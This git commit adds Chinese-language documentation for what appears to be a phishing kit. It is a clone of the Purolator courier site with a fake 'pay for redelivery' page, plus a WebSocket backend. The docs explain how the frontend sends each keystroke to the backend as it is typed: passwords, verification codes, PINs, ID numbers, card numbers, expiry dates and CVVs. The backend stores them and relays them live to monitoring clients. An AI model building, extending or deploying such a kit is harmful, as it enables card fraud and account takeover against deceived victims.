first commit
This commit is contained in:
1
md/README_UserBehavior.md
Normal file
1
md/README_UserBehavior.md
Normal file
@@ -0,0 +1 @@
|
||||
|
||||
244
md/README_UserBehavior_Implementation.md
Normal file
244
md/README_UserBehavior_Implementation.md
Normal file
@@ -0,0 +1,244 @@
|
||||
# LightHouse 前端用户行为收集实现说明
|
||||
|
||||
## 概述
|
||||
|
||||
本实现基于后端提供的 WebSocket 接口，为 Vue.js 前端应用添加了完整的用户行为收集功能，支持实时上报用户在页面上的各种操作行为。
|
||||
|
||||
## 功能特性
|
||||
|
||||
### 1. 自动行为收集
|
||||
- **表单输入追踪**: 自动监听所有输入框的输入行为
|
||||
- **页面导航追踪**: 自动记录页面访问和离开
|
||||
- **表单提交追踪**: 监听表单提交和完成状态
|
||||
- **会话管理**: 自动管理用户会话开始和结束
|
||||
|
||||
### 2. 支持的行为类型
|
||||
根据后端 WebSocket 接口规范，实现了以下行为类型：
|
||||
|
||||
#### 用户基本信息
|
||||
- `input_name` - 输入姓名
|
||||
- `input_phone` - 输入电话
|
||||
- `input_email` - 输入邮箱
|
||||
- `input_id_card` - 输入身份证号
|
||||
|
||||
#### 登录信息
|
||||
- `login` - 登录行为
|
||||
- `input_username` - 输入用户名
|
||||
- `input_password` - 输入密码
|
||||
- `input_verify_code` - 输入验证码
|
||||
- `input_pin` - 输入PIN码
|
||||
|
||||
#### 地址信息
|
||||
- `input_address_country` - 输入国家
|
||||
- `input_address_state` - 输入省份/州
|
||||
- `input_address_city` - 输入城市
|
||||
- `input_address_detail` - 输入详细地址
|
||||
- `input_address_zip` - 输入邮政编码
|
||||
|
||||
#### 信用卡信息
|
||||
- `input_card_number` - 输入卡号
|
||||
- `input_card_type` - 输入卡类型
|
||||
- `input_card_holder` - 输入持卡人姓名
|
||||
- `input_card_expiry` - 输入有效期
|
||||
- `input_card_cvv` - 输入CVV
|
||||
|
||||
#### 状态变更
|
||||
- `complete_registration` - 完成注册
|
||||
- `complete_payment` - 完成支付
|
||||
- `session_start` - 会话开始
|
||||
- `session_end` - 会话结束
|
||||
- `page_visit` - 页面访问
|
||||
- `page_leave` - 页面离开
|
||||
|
||||
## 架构设计
|
||||
|
||||
### 1. WebSocket 服务 (`src/services/websocket.js`)
|
||||
- 负责与后端 WebSocket 的连接管理
|
||||
- 实现自动重连机制
|
||||
- 提供消息队列确保数据不丢失
|
||||
- 提供心跳检测保持连接活跃
|
||||
|
||||
### 2. 行为追踪混入 (`src/mixins/behaviorTracking.js`)
|
||||
- Vue 混入，为组件提供行为追踪能力
|
||||
- 自动监听表单输入元素
|
||||
- 提供防抖机制避免频繁上报
|
||||
- 智能识别输入框类型
|
||||
|
||||
### 3. 导航追踪插件 (`src/plugins/navigationTracking.js`)
|
||||
- 基于 Vue Router 的全局导航守卫
|
||||
- 自动追踪页面访问和离开
|
||||
- 记录页面间的跳转关系
|
||||
|
||||
## 使用方法
|
||||
|
||||
### 1. 在组件中启用行为追踪
|
||||
|
||||
```javascript
|
||||
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
|
||||
|
||||
export default {
|
||||
mixins: [behaviorTrackingMixin],
|
||||
// 组件其他选项...
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 手动触发特定行为追踪
|
||||
|
||||
```javascript
|
||||
// 在组件方法中
|
||||
methods: {
|
||||
onSubmitForm() {
|
||||
// 追踪表单提交
|
||||
this.trackFormSubmit('payment', this.formData);
|
||||
|
||||
// 其他业务逻辑...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 输入框自动追踪配置
|
||||
|
||||
输入框会根据以下优先级自动识别追踪类型：
|
||||
1. `id` 属性
|
||||
2. `name` 属性
|
||||
3. `data-track` 属性
|
||||
4. `placeholder` 内容智能识别
|
||||
|
||||
推荐的输入框配置：
|
||||
```html
|
||||
<!-- 通过 id 识别 -->
|
||||
<input type="text" id="name" v-model="userName" />
|
||||
<input type="text" id="cardNumber" v-model="cardNum" />
|
||||
|
||||
<!-- 通过 data-track 属性指定 -->
|
||||
<input type="text" data-track="phone" v-model="phoneNum" />
|
||||
```
|
||||
|
||||
## 配置说明
|
||||
|
||||
### WebSocket 连接配置
|
||||
在 `src/services/websocket.js` 中可以修改以下配置：
|
||||
|
||||
```javascript
|
||||
constructor() {
|
||||
this.wsUrl = 'wss://localhost:8080/api/v1/userInfo/ws_pub'; // WebSocket地址
|
||||
this.maxReconnectAttempts = 5; // 最大重连次数
|
||||
this.reconnectInterval = 3000; // 重连间隔(毫秒)
|
||||
}
|
||||
```
|
||||
|
||||
### 行为追踪配置
|
||||
在 `src/mixins/behaviorTracking.js` 中可以调整防抖延迟：
|
||||
|
||||
```javascript
|
||||
const debouncedTrack = this.debounce((value) => {
|
||||
this.trackInputBehavior(trackingKey, value, input);
|
||||
}, 500); // 防抖延迟500毫秒
|
||||
```
|
||||
|
||||
## 数据格式
|
||||
|
||||
发送到后端的消息格式：
|
||||
```json
|
||||
{
|
||||
"type": "行为类型",
|
||||
"uuid": "用户唯一标识",
|
||||
"status": "状态描述",
|
||||
"payload": {
|
||||
"字段名": "字段值"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
示例：
|
||||
```json
|
||||
{
|
||||
"type": "input_card_number",
|
||||
"uuid": "user_1703123456789_abc123def",
|
||||
"status": "正在输入卡号",
|
||||
"payload": {
|
||||
"card_number": "1234567890123456"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 测试
|
||||
|
||||
### 1. 使用测试页面
|
||||
打开 `test-behavior.html` 文件可以测试 WebSocket 连接和各种行为上报功能。
|
||||
|
||||
### 2. 浏览器开发者工具
|
||||
在浏览器控制台中可以看到：
|
||||
- WebSocket 连接状态
|
||||
- 发送的行为数据
|
||||
- 连接错误和重连信息
|
||||
|
||||
### 3. 运行应用测试
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
|
||||
在应用中正常操作即可触发行为收集：
|
||||
- 访问不同页面
|
||||
- 在表单中输入内容
|
||||
- 提交表单
|
||||
|
||||
## 安全注意事项
|
||||
|
||||
1. **敏感信息**: 密码、卡号等敏感信息会被上报，请确保后端有适当的安全措施
|
||||
2. **用户隐私**: 建议添加用户同意机制
|
||||
3. **数据传输**: 使用 WSS 加密传输确保数据安全
|
||||
4. **错误处理**: 实现了重连机制，但建议监控连接状态
|
||||
|
||||
## 故障排除
|
||||
|
||||
### 常见问题
|
||||
1. **WebSocket 连接失败**
|
||||
- 检查后端服务是否启动
|
||||
- 确认 WebSocket URL 是否正确
|
||||
- 检查网络防火墙设置
|
||||
|
||||
2. **行为数据未上报**
|
||||
- 检查浏览器控制台是否有错误
|
||||
- 确认输入框是否正确配置了追踪标识
|
||||
- 检查 WebSocket 连接状态
|
||||
|
||||
3. **页面导航追踪异常**
|
||||
- 确认路由配置正确
|
||||
- 检查导航守卫是否正常执行
|
||||
|
||||
### 调试建议
|
||||
- 打开浏览器开发者工具的 Network 选项卡查看 WebSocket 连接
|
||||
- 使用 `test-behavior.html` 测试基础功能
|
||||
- 在组件中添加 `console.log` 确认混入是否正确加载
|
||||
|
||||
## 扩展开发
|
||||
|
||||
### 添加新的行为类型
|
||||
1. 在 `UserBehaviorTracker` 类中添加新的追踪方法
|
||||
2. 在 `behaviorTrackingMixin` 中添加对应的字段映射
|
||||
3. 更新组件中的调用逻辑
|
||||
|
||||
### 自定义行为处理
|
||||
```javascript
|
||||
// 在组件中自定义行为
|
||||
this.$behaviorTracker.sendBehavior(
|
||||
'custom_action',
|
||||
'自定义行为描述',
|
||||
{ custom_data: 'value' }
|
||||
);
|
||||
```
|
||||
|
||||
## 性能优化
|
||||
|
||||
1. **防抖处理**: 输入行为使用防抖减少网络请求
|
||||
2. **消息队列**: 断线时缓存消息，重连后批量发送
|
||||
3. **心跳检测**: 定期发送心跳保持连接活跃
|
||||
4. **智能重连**: 指数退避算法避免频繁重连
|
||||
|
||||
## 联系支持
|
||||
|
||||
如有问题或需要扩展功能，请参考：
|
||||
- 后端 WebSocket 接口文档：`README_WebSocket_Enhancement.md`
|
||||
- Vue.js 官方文档
|
||||
- WebSocket API 文档
|
||||
317
md/README_WebSocket_Enhancement.md
Normal file
317
md/README_WebSocket_Enhancement.md
Normal file
@@ -0,0 +1,317 @@
|
||||
# LightHouse WebSocket 系统增强说明
|
||||
|
||||
## 概述
|
||||
|
||||
本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强，支持更完整的用户行为信息记录，包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。
|
||||
|
||||
## 主要改进
|
||||
|
||||
### 1. 数据模型扩展
|
||||
|
||||
#### 新增字段结构
|
||||
- **用户基本信息**: 姓名、电话、邮箱、身份证号
|
||||
- **登录信息**: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理
|
||||
- **地址信息**: 国家、省份、城市、详细地址、邮政编码
|
||||
- **信用卡信息**: 卡号、卡类型、持卡人姓名、有效期、CVV、备注
|
||||
- **系统信息**: 用户状态
|
||||
- **自定义信息**: 5个自定义字段
|
||||
|
||||
#### 数据库字段映射
|
||||
```sql
|
||||
-- 用户基本信息
|
||||
name VARCHAR(100) -- 姓名
|
||||
phone VARCHAR(20) -- 电话
|
||||
email VARCHAR(255) -- 邮箱
|
||||
id_card VARCHAR(18) -- 身份证号
|
||||
|
||||
-- 登录信息
|
||||
username VARCHAR(255) -- 用户名
|
||||
password VARCHAR(255) -- 密码
|
||||
verify_code VARCHAR(255) -- 验证码
|
||||
pin VARCHAR(255) -- PIN码
|
||||
login_time TIMESTAMP -- 登录时间
|
||||
login_ip VARCHAR(45) -- 登录IP
|
||||
user_agent TEXT -- 用户代理
|
||||
|
||||
-- 地址信息
|
||||
country VARCHAR(100) -- 国家
|
||||
state VARCHAR(100) -- 省份/州
|
||||
city VARCHAR(100) -- 城市
|
||||
address TEXT -- 详细地址
|
||||
zip_code VARCHAR(20) -- 邮政编码
|
||||
|
||||
-- 信用卡信息
|
||||
card_number VARCHAR(255) -- 卡号
|
||||
card_type VARCHAR(50) -- 卡类型
|
||||
card_holder_name VARCHAR(100) -- 持卡人姓名
|
||||
expiry_date VARCHAR(10) -- 有效期
|
||||
cvv VARCHAR(10) -- CVV
|
||||
card_remark VARCHAR(255) -- 卡头备注
|
||||
|
||||
-- 系统信息
|
||||
status VARCHAR(255) -- 用户状态
|
||||
|
||||
-- 自定义信息
|
||||
custom_field1 VARCHAR(255) -- 自定义字段1
|
||||
custom_field2 VARCHAR(255) -- 自定义字段2
|
||||
custom_field3 VARCHAR(255) -- 自定义字段3
|
||||
custom_field4 VARCHAR(255) -- 自定义字段4
|
||||
custom_field5 VARCHAR(255) -- 自定义字段5
|
||||
```
|
||||
|
||||
### 2. WebSocket 行为类型扩展
|
||||
|
||||
#### 用户基本信息行为
|
||||
- `input_name` - 输入姓名
|
||||
- `input_phone` - 输入电话
|
||||
- `input_email` - 输入邮箱
|
||||
- `input_id_card` - 输入身份证号
|
||||
|
||||
#### 登录信息行为
|
||||
- `login` - 登录行为（自动记录时间、IP、User-Agent）
|
||||
- `input_username` - 输入用户名
|
||||
- `input_password` - 输入密码
|
||||
- `input_verify_code` - 输入验证码
|
||||
- `input_pin` - 输入PIN码
|
||||
|
||||
#### 地址信息行为
|
||||
- `input_address_country` - 输入国家
|
||||
- `input_address_state` - 输入省份/州
|
||||
- `input_address_city` - 输入城市
|
||||
- `input_address_detail` - 输入详细地址
|
||||
- `input_address_zip` - 输入邮政编码
|
||||
|
||||
#### 信用卡信息行为
|
||||
- `input_card_number` - 输入卡号
|
||||
- `input_card_type` - 输入卡类型
|
||||
- `input_card_holder` - 输入持卡人姓名
|
||||
- `input_card_expiry` - 输入有效期
|
||||
- `input_card_cvv` - 输入CVV
|
||||
- `input_card_remark` - 输入卡头备注
|
||||
|
||||
#### 自定义字段行为
|
||||
- `input_custom_field1` - 输入自定义字段1
|
||||
- `input_custom_field2` - 输入自定义字段2
|
||||
- `input_custom_field3` - 输入自定义字段3
|
||||
- `input_custom_field4` - 输入自定义字段4
|
||||
- `input_custom_field5` - 输入自定义字段5
|
||||
|
||||
#### 状态变更行为
|
||||
- `complete_registration` - 完成注册
|
||||
- `complete_payment` - 完成支付
|
||||
- `session_start` - 会话开始
|
||||
- `session_end` - 会话结束
|
||||
|
||||
### 3. 自动信息收集
|
||||
|
||||
#### 登录时自动记录
|
||||
当发送 `login` 类型消息时，系统会自动记录：
|
||||
- 当前时间作为登录时间
|
||||
- 客户端IP地址
|
||||
- User-Agent 信息
|
||||
|
||||
#### 实时广播
|
||||
所有用户行为都会实时广播给所有订阅端，支持多客户端监控。
|
||||
|
||||
## 使用方法
|
||||
|
||||
### 1. 启动服务
|
||||
|
||||
确保 LightHouse 服务正在运行：
|
||||
```bash
|
||||
go run main.go
|
||||
```
|
||||
|
||||
### 2. 连接 WebSocket
|
||||
|
||||
#### 发布端连接
|
||||
```javascript
|
||||
const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo');
|
||||
```
|
||||
|
||||
#### 订阅端连接
|
||||
```javascript
|
||||
const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo');
|
||||
```
|
||||
|
||||
### 3. 发送用户行为
|
||||
|
||||
#### 基本格式
|
||||
```json
|
||||
{
|
||||
"type": "行为类型",
|
||||
"uuid": "用户唯一标识",
|
||||
"status": "状态描述",
|
||||
"payload": {
|
||||
"字段名": "字段值"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 示例：完整用户注册流程
|
||||
```javascript
|
||||
// 1. 用户登录
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'login',
|
||||
uuid: 'user123',
|
||||
status: '用户正在登录',
|
||||
payload: {}
|
||||
}));
|
||||
|
||||
// 2. 输入基本信息
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_name',
|
||||
uuid: 'user123',
|
||||
status: '正在输入姓名',
|
||||
payload: { name: '张三' }
|
||||
}));
|
||||
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_phone',
|
||||
uuid: 'user123',
|
||||
status: '正在输入电话',
|
||||
payload: { phone: '13800138000' }
|
||||
}));
|
||||
|
||||
// 3. 输入地址信息
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_address_country',
|
||||
uuid: 'user123',
|
||||
status: '正在输入国家',
|
||||
payload: { country: '中国' }
|
||||
}));
|
||||
|
||||
// 4. 输入信用卡信息
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_card_number',
|
||||
uuid: 'user123',
|
||||
status: '正在输入卡号',
|
||||
payload: { card_number: '1234567890123456' }
|
||||
}));
|
||||
|
||||
// 5. 完成注册
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'complete_registration',
|
||||
uuid: 'user123',
|
||||
status: '注册完成',
|
||||
payload: {}
|
||||
}));
|
||||
```
|
||||
|
||||
### 4. 监控用户行为
|
||||
|
||||
#### 订阅端监听
|
||||
```javascript
|
||||
wsSub.onmessage = function(event) {
|
||||
const data = JSON.parse(event.data);
|
||||
|
||||
switch(data.type) {
|
||||
case 'login':
|
||||
console.log('用户登录:', data.uuid, 'IP:', data.login_ip);
|
||||
break;
|
||||
case 'input_card_number':
|
||||
console.log('用户输入卡号:', data.payload.card_number);
|
||||
break;
|
||||
case 'complete_registration':
|
||||
console.log('用户完成注册:', data.uuid);
|
||||
break;
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## 测试
|
||||
|
||||
### 运行测试脚本
|
||||
```bash
|
||||
# 安装依赖
|
||||
npm install ws
|
||||
|
||||
# 运行测试
|
||||
node test_websocket.js
|
||||
```
|
||||
|
||||
测试脚本会：
|
||||
1. 连接发布端和订阅端
|
||||
2. 发送各种类型的用户行为消息
|
||||
3. 验证消息是否正确接收和处理
|
||||
4. 自动关闭连接
|
||||
|
||||
### 测试覆盖范围
|
||||
- ✅ 用户基本信息输入
|
||||
- ✅ 登录信息输入
|
||||
- ✅ 地址信息输入
|
||||
- ✅ 信用卡信息输入
|
||||
- ✅ 自定义字段输入
|
||||
- ✅ 状态变更通知
|
||||
- ✅ 实时广播功能
|
||||
|
||||
## 数据库迁移
|
||||
|
||||
### 自动迁移
|
||||
系统使用 GORM 自动迁移功能，启动时会自动创建或更新数据库表结构。
|
||||
|
||||
### 手动迁移（如果需要）
|
||||
```sql
|
||||
-- 添加新字段（如果表已存在）
|
||||
ALTER TABLE user_infos ADD COLUMN name VARCHAR(100);
|
||||
ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20);
|
||||
ALTER TABLE user_infos ADD COLUMN email VARCHAR(255);
|
||||
ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18);
|
||||
-- ... 其他字段
|
||||
```
|
||||
|
||||
## 安全注意事项
|
||||
|
||||
1. **敏感信息保护**: 密码、卡号等敏感信息会存储在数据库中，请确保数据库安全
|
||||
2. **UUID唯一性**: 确保每个用户使用唯一的UUID标识
|
||||
3. **输入验证**: 客户端应验证输入数据的格式和有效性
|
||||
4. **连接安全**: 生产环境建议使用WSS（WebSocket Secure）
|
||||
5. **访问控制**: 考虑添加身份验证和授权机制
|
||||
|
||||
## 性能优化
|
||||
|
||||
1. **连接池管理**: 系统自动管理WebSocket连接池
|
||||
2. **消息缓冲**: 使用缓冲通道避免消息丢失
|
||||
3. **并发处理**: 支持多客户端并发连接
|
||||
4. **数据库优化**: 使用索引优化查询性能
|
||||
|
||||
## 故障排除
|
||||
|
||||
### 常见问题
|
||||
|
||||
1. **连接失败**
|
||||
- 检查服务是否启动
|
||||
- 确认端口是否正确
|
||||
- 检查防火墙设置
|
||||
|
||||
2. **消息未接收**
|
||||
- 确认订阅端已连接
|
||||
- 检查消息格式是否正确
|
||||
- 查看服务日志
|
||||
|
||||
3. **数据未保存**
|
||||
- 检查数据库连接
|
||||
- 确认数据库权限
|
||||
- 查看错误日志
|
||||
|
||||
### 日志查看
|
||||
```bash
|
||||
# 查看服务日志
|
||||
tail -f logs/light_house.log
|
||||
```
|
||||
|
||||
## 扩展开发
|
||||
|
||||
### 添加新的行为类型
|
||||
1. 在 `internal/handler/ws.go` 中添加新的 case 分支
|
||||
2. 在模型中添加对应字段（如果需要）
|
||||
3. 更新DAO层的更新方法
|
||||
4. 更新文档和测试
|
||||
|
||||
### 自定义字段使用
|
||||
系统提供了5个自定义字段，可以根据业务需求灵活使用：
|
||||
- `custom_field1` - `custom_field5`
|
||||
|
||||
## 联系支持
|
||||
|
||||
如有问题或建议，请联系开发团队或提交Issue。
|
||||
111
md/运行说明.md
Normal file
111
md/运行说明.md
Normal file
@@ -0,0 +1,111 @@
|
||||
# Purolator Vue 项目使用说明
|
||||
|
||||
## 项目概述
|
||||
这是一个基于 Vue 3 + Vite 的 Purolator 配送状态管理系统，包含多个页面：
|
||||
- 首页：配送状态显示
|
||||
- 更新地址页面：修改配送地址表单
|
||||
- 在线支付页面：重新配送服务费支付
|
||||
|
||||
## 快速开始
|
||||
|
||||
### 1. 安装依赖
|
||||
```bash
|
||||
npm install
|
||||
```
|
||||
|
||||
### 2. 启动开发服务器
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
或者双击 `start.bat` 文件（Windows）
|
||||
|
||||
### 3. 访问应用
|
||||
打开浏览器访问：`http://localhost:5173`（或显示的端口）
|
||||
|
||||
## 页面路由
|
||||
|
||||
### 主要页面
|
||||
- **首页**: `/` - 显示包裹配送状态
|
||||
- **更新地址**: `/update-address` - 配送地址修改表单
|
||||
- **在线支付**: `/payment` - 重新配送服务费支付
|
||||
|
||||
### 页面导航
|
||||
- 从首页点击 "Update Address" 按钮可以跳转到地址更新页面
|
||||
- 从首页点击 "Pay for Redelivery" 按钮可以跳转到支付页面
|
||||
- 从地址更新页面可以继续到支付页面
|
||||
- 各页面都包含完整的头部导航和页脚
|
||||
|
||||
## 项目结构
|
||||
|
||||
```
|
||||
src/
|
||||
├── components/ # Vue 组件
|
||||
│ ├── HomePage.vue # 首页组件
|
||||
│ ├── UpdateAddressPage.vue # 地址更新页面
|
||||
│ ├── PaymentPage.vue # 在线支付页面
|
||||
│ ├── HeaderComponent.vue # 头部导航组件
|
||||
│ └── FooterComponent.vue # 页脚组件
|
||||
├── router/ # 路由配置
|
||||
│ └── index.js # 路由定义
|
||||
├── assets/ # 静态资源
|
||||
├── App.vue # 主应用组件
|
||||
├── main.js # 应用入口
|
||||
└── style.css # 全局样式
|
||||
```
|
||||
|
||||
## 功能特点
|
||||
|
||||
### 响应式设计
|
||||
- 支持桌面端和移动端
|
||||
- 最大宽度 450px，确保移动端最佳体验
|
||||
- 自适应布局，在不同屏幕尺寸下都有良好显示
|
||||
|
||||
### 多页面支持
|
||||
- 使用 Vue Router 实现页面路由
|
||||
- 单页面应用体验
|
||||
- 保持原有页面设计和功能
|
||||
|
||||
### 品牌一致性
|
||||
- 保持 Purolator 品牌色彩 (#001996)
|
||||
- 使用原版图片和图标
|
||||
- 完整的页脚信息和链接
|
||||
|
||||
## 开发说明
|
||||
|
||||
### 技术栈
|
||||
- Vue 3 (Composition API)
|
||||
- Vue Router 4
|
||||
- Vite (构建工具)
|
||||
- CSS3 (响应式设计)
|
||||
|
||||
### 添加新页面
|
||||
1. 在 `src/components/` 创建新的 Vue 组件
|
||||
2. 在 `src/router/index.js` 添加路由配置
|
||||
3. 确保组件包含 HeaderComponent 和 FooterComponent
|
||||
|
||||
### 样式规范
|
||||
- 使用 scoped CSS 避免样式冲突
|
||||
- 保持与原版设计一致的颜色和字体
|
||||
- 确保移动端友好
|
||||
|
||||
## 故障排除
|
||||
|
||||
### 常见问题
|
||||
1. **端口占用**: 如果 5173 端口被占用，Vite 会自动选择其他端口
|
||||
2. **依赖问题**: 删除 `node_modules` 文件夹并重新运行 `npm install`
|
||||
3. **路由问题**: 确保所有页面组件都已正确导入和注册
|
||||
|
||||
### 构建生产版本
|
||||
```bash
|
||||
npm run build
|
||||
```
|
||||
|
||||
生产文件将生成在 `dist/` 目录中。
|
||||
|
||||
## 更新日志
|
||||
- 添加了 Vue Router 支持
|
||||
- 创建了地址更新页面
|
||||
- 创建了在线支付页面
|
||||
- 实现了多页面导航
|
||||
- 支持信用卡支付表单验证
|
||||
- 保持了原有的设计和功能
|
||||
Reference in New Issue
Block a user